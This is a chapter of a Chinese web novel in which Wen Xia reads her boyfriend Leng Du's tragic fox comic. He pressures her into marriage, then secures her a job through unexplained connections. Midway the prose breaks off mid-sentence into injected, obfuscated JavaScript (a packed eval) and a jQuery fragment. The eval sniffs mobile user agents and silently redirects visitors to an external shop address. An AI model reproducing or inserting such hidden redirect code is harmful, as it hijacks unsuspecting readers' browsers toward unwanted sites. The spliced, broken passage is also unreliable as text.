漫画稿的纸张有些泛黄发皱,看上去年代久远。
“是泡水了吗?怎么这么皱。”温夏接过稿子,在椅子坐下来。
“嗯,浸了水。”冷渡站在她身后,双手撑在椅子的扶手上。
在他阴影的笼罩下,温夏翻阅起来,翻开第一页她的手就停了。
阴异华丽的画风有些像L。但细看,完成度和精致度又不如L。
画面上,山脚下的旧皮货铺,一对老夫妇捡了一只流浪的小白狐,毛发细密丰满,光泽亮丽。
小狐狸蹲在柜台边,看着夫妇俩整理各色皮草,尾巴轻晃。它以为自己有家了。
收养小动物的情节,理应是温暖的底色,但这对夫妻不知为什么没有眼珠,眼眶是两个浅淡的黑洞,脸上挂着木然的笑。
温夏看得后背有些发毛。翻开下一页。
丈夫的位置空了,柜台上只摆着他的一顶旧帽子。
铺子生意越来越差,妻子整日坐在柜台后抽烟,烟圈漫过空荡荡的眼眶。
她翻出一罐黑染剂,按住小白狐,顺着毛根一点点染透。
小白狐疼得发抖,爪子抠着木板,却不敢反抗。染完的它通体墨黑,和传说中价比黄金的墨狐一模一样。
妻子把染黑的白狐摆在店门口当活招牌,路人都凑过来看“罕见墨狐”,皮货铺的生意一下子好了起来。
每隔半个月,她就会剪一次狐狸腹上的软绒,冒充墨狐绒卖给有钱人。
狐狸毛长得快,剪了又长,像永远薅不完的摇钱树。
染剂反复渗进皮肤,狐狸的毛根开始溃烂结痂,一块一块掉白毛。
它以为自己得了皮肤病,缩在角落舔伤口。
妻子看见就会再补一层染剂,把斑驳的白毛盖得严严实实。
它慢慢忘了自己本来是什么颜色。
“怎么这样......”温夏感觉眼睛有点酸了,很快翻开下一页。
在又一次被染色的一个雨夜,黑色颜料顺着小狐狸原本破溃的皮肤渗进毛囊,它终于承受不住,挣脱逃了出去。
它在树林里狂奔,直到远离了那间皮货铺,才小心翼翼蹲在山溪边喝水。
然而看清水里影子的刹那,它怔住了。
雨水冲掉了表层的浮色,可新长出来的绒毛,从根里就是墨黑的。
染剂已经融进了血肉里,再也洗不掉了。
它抬起爪子抹眼睛,黑色的眼泪顺着脸颊滑下来,滴进溪水里,晕开一小团淡墨。
下一页是一年后。
一只毛色黑白相间的狐狸躲在深山的岩洞里。
它成了一只四不像的异类,被同类远离,被人类驱赶。
画面最底部,只有一行极小的报纸字:山民称深山偶遇黑白色异狐,疑为未知新物种。
温夏的手指停在最后一页,心里有些沉重的钝痛。
这篇漫画的篇幅很短,只描绘了小狐狸的皮肉之痛和可怜的眼神,它甚至连一句台词都没有,她却能感受到它深深的孤独。
一开始的流浪,被奇怪对待后也不愿逃离,逃离后看见自己面目全非的样貌,还有不被世上的任何一人所接纳。
每一次小狐狸都很难过。
它不会说话,她却觉得自己能感同身受它的每一次情绪。
两行热泪顺着脸颊滑落下来。
“小狐狸太惨了吧。”咸味在她唇边蔓延,身后的人却没有替她擦去眼泪。
她自己抬手不断拭去滑到下颌的泪水,边说边合上画稿:“你画得太好了,这是我今年看过最好的作品。”
冷渡罕见地没有接话。
她回过头,却见他的双眼和鼻尖都泛了红。
“你怎么了?”温夏震惊地站起来,抬手抚上了他的脸。
他单薄的嘴唇轻轻颤抖,眸底泪光潋滟。
“为什么哭啊?”她摸了摸他的眼角,干燥的,微烫的。明明还没哭,却让她心里像剜了一块一样难受。
他眉头忽蹙,唇紧抿,透明的泪从眼角滑落,安静地垂下眼睑,没有说话。
温夏没有追问,她自己眼底的泪已经干涸,只是轻柔地一次次地替他拂去泪水。
医生说他有童年创伤,或许这幅画里就寄托了他的感情吧。所以在被她触碰、抚摸到的时候,会痛得忍不住哭。
他的眼泪越擦越多,最后都糊满了他的眼睛,却始终不愿意放开了声音哭,只是有些倔强地挺立站着,极度克制着不发出一点声音。
温夏仰头望着他朦胧的双眼,哭得发红的眼尾,还有那绷紧的下颌,忍不住抱住了他,轻轻拍着他的背。
难过成这样,看来,冷渡的抑郁症比她想象的还要严重。
这样冷淡疏远的漂亮的人,只对她敞开心扉。
不久前还觉得负担起他的情绪有些喘不过气,但这会儿,温夏被一种深厚的拯救欲充斥着,更用力地搂紧了他的腰。
待情绪平复后,他好像感到有些丢脸,怯怯地不敢看她,自己去洗澡了。
温夏先一步躺在床上。眼前还不停浮现他的漫画。
刚才没来得及说,他的画风,还真是像L啊。
然而比起画风,更像的是故事的内核和情感。
L,总是以平淡的笔锋勾勒出情感深厚的故事。这也是她最喜欢她的地方。
之前她在冷渡面前说喜欢L的时候,他好像没什么反应,既没有表达过对L的欣赏也没有点评。
漫画初学者都会模仿别人,他那么像L,难道他也是她的粉丝?有在刻意模仿?
不然的话,根本没办法解释啊。
不过说起来,L其实也有点像她小时候喜欢过的《木偶师》的作者风景旧谙老师。
她曾经在平台给L留言过这件事,但女神从来不回复她的消息,她也无从得知女神是不是也喜欢风景旧谙。
这三个人,理论上应该互不认识,却都有相似之处。
“是巧合吗?”她小声念道。
“什么巧合?”冷渡推门进来。
温夏被他无声无息的动作吓一跳,深深呼吸一口,抚着心口:“你走路怎么没声音啊。”
他上了床,很快从背后搂住她:“你说什么巧合?”
“就是,你的漫画好像L。L你知道吧?就是我很喜欢的那个漫画家。”
他顿了顿,解释道:“我知道你喜欢他,所以有在刻意模仿他的风格。”
“啊?”温夏翻过身面对他,诧异道,“是这样么?干嘛要模仿别人?”
冷渡微愣,像被问住了:“......因为,想被喜欢?”
他话说得小心翼翼。
又来了,又是这种不健康的讨好感。
温夏用力戳了戳他的额头,有些尖的指甲印在他光洁的皮肤上:
“干嘛老是这样,你不需要模仿别人我也会喜欢啊。”
“我想看的是你的作品,不是模仿L的作品。而且这个故事这么沉重,肯定是你真心想画的吧。光凭这个,就比什么都好。”
他好像更怔了,一言不发、目不转睛地看着她。
“所以说,那个不是你原来的画风?那你原来的画风是什么样的?和L不怎么像吗?还是说,你也是她的粉丝?”
她提出一连串问题,话刚说完,忽然被他按进怀里。
“夏夏,你再说一次好不好。”
被他紧紧抱着,她有些听不清他说这话时的语气。
“说什么?浪费感情?”
“不是,前一句。”
“我想看的是你的作品?对啊,我想了解你才看你的作品,你要是模仿别人,我还怎么了解你。”
头顶的人忽然没了声音。
温夏被搂得有点难以呼吸,她用力挣了挣,但挣脱不开。
“你抱太紧了,放松一点吧......”
“夏夏,你和我结婚吧。”
他压抑的声音自头顶落下。温夏愣住。
“我想永远和你在一起。”
“我会做得更好的。不管是男朋友还是丈夫,我都会努力的。”
“突然之间说什么啊......”温夏脸颊发烫,手足无措,“刚才不还讨论画风呢吗?”
“我想和你结婚。”说话的人尾音轻颤,好像染上了些哭腔。
“怎么又哭了。”她伸手去拍他的背,一下一下地,带着节律。
“好不好?”又是有些央求的嗓音。
她只当他是情绪上头了一时冲动,无奈又心软地顺着他哄:“好好好,结婚,先松开点,我快喘不过气了。”
回应她的是一个热情的强硬的吻。红着脸和他分开的间隙,她瞧见他灼灼目光中尽是炽烈燃烧的感情。
“你答应了我就不能反悔。”他还带着些鼻音,语调却很坚定。
温夏来不及回应,再次被他的吻吞没。
那是个和往常截然不同的吻,强势地掠夺她的呼吸,仿佛要将她拆吃入腹,到最后甚至有些用力地咬紧了她的唇瓣,用牙尖来回厮磨。
轻微的疼痛感和几近窒息的用力拥抱,让温夏心里有点发慌,身体却不由自主地享受着他有些粗暴的示爱,没有推拒。
意识模糊前她不禁想,这是冷渡么?原来他也有这一面。
-
然而,温夏很快就发现,自己低估了冷渡口中“结婚”的分量。
原以为那只是他情绪失控随口一说,可第二天她起床找水喝时,却发现冷渡起得比她还早,早晨六七点已经坐在客厅的地毯上,面前铺满了十几本婚礼策划书。
电视播放着有名的教堂婚礼视频,他一边看一边在笔记本输入着什么,文档密密麻麻,神情更是专注得像在刷五年高考三年模拟。
温夏倒水的动作僵住了。
“冷渡......”她走过去,试探着叫他,“你这是在干嘛?”
冷渡抬起头,眼下有淡淡的青色,显然昨晚又熬夜了,但他看向她时,眼睛亮得惊人:
“夏夏,我在看我们的结婚场地,你喜欢草坪婚礼,还是教堂?”
温夏手里的玻璃杯险些没拿稳。
一股巨大的压力排山倒海般倾轧过来。
“不是,你认真的吗?”
他盯了她几秒,不解地皱了皱眉,有点不高兴地说:
“我当然是认真的,难道你不是认真的?”
她被问得不知所措,目光落在他电脑的文档上,上面罗列了几个陌生教堂的选址优劣,从交通到气候、景色,考虑全面。
“我以为你只是说说”这样的话她再也说不出口,只能蹲下身,有些慌乱地按住键盘上他的手:
“可是这样会不会太快了?我们才认识两个多月,而且我连毕业证都还没拿到,工作也没有......”
“不快,”他反握住她的手,微笑道,“我们可以先领证,等你毕业再办婚礼,叔叔阿姨那边我会处理好的。”
“领证?叔叔阿姨?”
原以为他看婚礼场地已经是速度过快,没想到连她父母他都想好了要去说服吗?
他的筹备这样心急如焚、思虑周全,让她莫名有种心慌感。
她父母根本不知道她有男友,更别提同居。在他们思想封建的观念里,这简直是天大的丑闻。
不敢想象,如果冷渡真的去和他们提结婚,会是怎样一番光景。
“怎么了?”似乎是读懂了她的犹豫,冷渡唇边的笑意逐渐淡去。
温夏缩回手,像是被他期待的目光烫到,她垂下眼睑。
“对不起,我......”
“你反悔了,”他别过脸去,胸腔缓缓起伏,像在克制什么,“昨晚明明答应得很好。”
“我那是......”
“你骗我。”
温夏听着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700004|208119||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他过度的指控,想到医生说,他极度缺乏安全感、容易把一点点小事放大。
她掐了掐自己的手心,强撑着一个笑:“我没骗你,只是结婚是大事,得先立业对不对?我总得先找到工作,不然我爸妈那边也没法交代啊。”
冷渡静静地看着她,似乎在评估她话里的真假。
半晌,他才慢慢低下头,把她的手揣进掌心里揉弄,声音闷闷的:“如果有了工作,就可以结婚了吗?”
“......嗯,到时我们再从长计议。”
她以为这至少能拖上几个月。
几个月,说不定他对她的新鲜劲都过了。
他俩之间的差距毕竟是悬殊的。
可她万万没想到,仅仅在第二天,冷渡就将一份入职邀请递到了她面前。
“启点阅读?”温夏看着手机上的邮件,震惊得说不出话。
这是业内最大的网文阅读平台,她之前投过简历,连初筛都没过。
“我朋友正好认识这的老板。”冷渡站在她身后,双手搭在她肩上,温柔地揉捏着,“夏夏,你可以去上班了。”
温夏心里咯噔一下。
又是朋友。
她明明就没见过他和任何人来往,上次说她进不了薇丽也说是朋友告诉他的。
“你......还有这种朋友?”她忍不住回头看他,“是什么样的人啊?我怎么从来没听你提过?”
冷渡的动作顿了顿,随即弯起眼睛,笑得天真无害:“一个以前认识的出版商。夏夏,你是在怀疑我吗?”
温夏立刻缴械投降:“没有,我只是太意外了……谢谢你,冷渡。”
“不用谢。”他凑过来,在她脸颊上安抚般地贴了贴,“只要你开心就好。”
温夏看着邮件里“免试直接入职”的字样,心里非但没有找到工作的喜悦,反而升起一股被丝线缠绕的窒息感。
这个工作,来得太容易,也太诡异了。
但冷渡说他靠父母的版权收入生活,或许在出版公司确实有些人脉?
只是,什么样的人脉大到能让她这个学历平平的新人直接免试入职?
启点的出版商,他父母是网文届的大神作者吗?
重重疑问堆积在心头,她想问,又担心刺激到他。
-
顺利入职后的某天,温夏打电话和谢薇说了这件事。
谢薇听完,整个人都呆住了:“启点?免试直接进?还给你配了资深主编带教?”
温夏苦笑了一下,晃了晃杯子里的咖啡:“嗯,冷渡说他找了朋友。”
“天哪,你男朋友到底是干什么的啊?不仅长得像神仙,还有这种通天的关系。”
温夏没回答。总不能说冷渡是个没有工作、在家坐吃山空的抑郁症患者吧?
“不过,你真的要和他结婚啦?”
温夏有些为难地低下头,盯着棕色咖啡液里倒映出的自己:
“其实,当时我都没想到他会是认真的。我还以为他只是一时上头,第二天就会当作没说过......”
“确实,住在半山富人区的男人,怎么会和我们这样的普通女孩子结婚?有钱人不是讲究门当户对吗?”
见温夏不说话,谢薇叹了口气,艳羡不已:“哎真是命好啊。”
温夏不知作何反应,只好苦笑一下。
心里却隐隐觉得,自己好像是真的命好。
启点虽然是大公司,但并不要求到岗工作,可以居家办公。
是温夏想要接触更多人,才主动申请了到公司办公的。
公司里寥寥数人也都很好相处,没有因为她是“关系户”就给她眼色看。
工作也不多,每天审审新稿,帮作者答疑解惑就完了。有五险二金还有保底,是自己接触过的待遇最好的工作。
事业顺利不说,连爱情也很顺利——现在每天下班回到家,就能看见男友穿着围裙下厨,微笑着对她说工作辛苦了。
洗澡有擦背服务,睡前还有令人羞耻的压力疏解服务——拜托,她根本就没有工作压力啊。
有时候真觉得,冷渡就是一款为她研发的品质极高的陪伴型机器人。
除了不会生孩子以外......
“对了,你知道陈雨婷被退学了吗?”
谢薇一句话唤回了温夏的思绪,她微怔:“什么?”
陈雨婷实在是很久没听说过的名字,自从从学校搬出来以后,她就没怎么关注过学校的事。
“怎么会被退学?”
谢薇谈起她的语气有些不屑:
“她啊,不是经常背大牌包包吗?我们都以为她很有钱呢,原来是网贷贷出来的,听说欠了几十万,根本还不清,被网贷公司找到学校来了。”
“......这么突然。我根本不知道她有网贷。”
“害,很正常啊,从小县城来到这里,多少有点虚荣心在。网贷这个东西碰不得的,那种无止境套现的感觉,一旦沾上了就很难戒。”
温夏看着她,随口问了句:“你怎么好像很懂的样子?”
“我能不懂嘛?上周我路过你们宿舍门口,刚好听见她在宿舍里哭得要死要活的,还找你舍友借钱。不过说来也怪,我舍友跟我说,她前阵子突然有一笔大额进账,把网贷还了大半,我们还以为她上岸了呢。”
“大额进账?她哪来的钱?”
“不知道,她神神秘秘的,听说是接了个大单子,可能是游戏陪玩什么的吧?”
大单子。
温夏脑海里,毫无预兆地闪过搬出宿舍前的那一幕。
陈雨婷站在她身后,吐着烟圈问她:“男朋友啊?”
还有在她上车前,似笑非笑看她的那一眼。
明明都是和陈雨婷欠网贷毫无关联的事情,温夏不知为何会在这个时候想起这些,只是心里那压抑许久的不安又涌现了出来。